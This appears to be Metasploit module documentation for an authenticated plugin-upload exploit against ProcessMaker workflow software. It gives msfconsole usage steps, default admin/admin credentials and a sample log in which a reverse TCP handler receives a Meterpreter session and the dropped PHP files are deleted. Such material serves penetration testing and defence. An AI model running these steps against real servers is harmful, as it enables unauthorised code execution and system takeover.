## Description

  This module will generate and upload a plugin to ProcessMaker resulting in execution of PHP code as the web server user.

  Credentials for a valid user account with Administrator roles is required to run this module.


## Vulnerable Application

  [ProcessMaker](https://www.processmaker.com/) workflow management software allows public and private organizations to automate document intensive, approval-based processes across departments and systems. Business users and process experts with no programming experience can design and run workflows.

  This module has been tested successfully on ProcessMaker versions:

  * 1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0, 3.2.1 on Windows 7 SP 1
  * 3.2.0 on Debian Linux 8

  Source and Installers:

  * [ProcessMaker](https://sourceforge.net/projects/processmaker/files/ProcessMaker/)


## Verification Steps

  1. Start `msfconsole`
  2. Do: `use exploit/multi/http/processmaker_plugin_upload`
  3. Do: `set RHOST [IP]`
  4. Do: `set USERNAME [USERNAME]` (default: `admin`)
  5. Do: `set PASSWORD [PASSWORD]` (default: `admin`)
  6. Do: `set WORKSPACE [WORKSPACE]` (default: `workflow`)
  7. Do: `run`
  8. You should get a session


## Options

### Username

  The username for a ProcessMaker user with Administrator roles (default: `admin`).

### Password

  The password for the ProcessMaker user (default: `admin`).

  The default password for the `admin` user is `admin` on ProcessMaker versions 1.x and 2.x.

  For ProcessMaker 3.x onwards, the default password is specified during installation and cannot be the same as the username.

  However; when creating a new workspace a new user with Administrator roles is also created. The default username and password for the new user are `admin` and `admin` respectively.

### Workspace

  The ProcessMaker workspace for which the specified user has Administrator roles. (default: `workflow`)


## Scenarios

  ```
  msf > use exploit/multi/http/processmaker_plugin_upload 
  msf exploit(processmaker_plugin_upload) > set rhost 172.16.191.202
  rhost => 172.16.191.202
  msf exploit(processmaker_plugin_upload) > set username admin
  username => admin
  msf exploit(processmaker_plugin_upload) > set password admin
  password => admin
  msf exploit(processmaker_plugin_upload) > set workspace sample
  workspace => sample
  msf exploit(processmaker_plugin_upload) > set rport 8080
  rport => 8080
  msf exploit(processmaker_plugin_upload) > run

  [*] Started reverse TCP handler on 172.16.191.181:4444 
  [*] Authenticating as user 'admin'
  [+] 172.16.191.202:8080 Authenticated as user 'admin'
  [*] 172.16.191.202:8080 Uploading plugin 'zqkMpDOiIlNEvhkNnV' (23552 bytes)
  [*] Sending stage (33986 bytes) to 172.16.191.202
  [*] Meterpreter session 1 opened (172.16.191.181:4444 -> 172.16.191.202:36592) at 2017-06-10 04:21:25 -0400
  [+] Deleted ../../shared/sites/sample/files/input/zqkMpDOiIlNEvhkNnV-.tar
  [+] Deleted ../../shared/sites/sample/files/input/zqkMpDOiIlNEvhkNnV.php
  [+] Deleted ../../shared/sites/sample/files/input/zqkMpDOiIlNEvhkNnV/class.zqkMpDOiIlNEvhkNnV.php

  meterpreter > getuid
  Server username: user (1000)
  meterpreter > sysinfo 
  Computer    : debian
  OS          : Linux debian 3.16.0-4-amd64 #1 SMP Debian 3.16.43-2 (2017-04-30) x86_64
  Meterpreter : php/linux
  ```

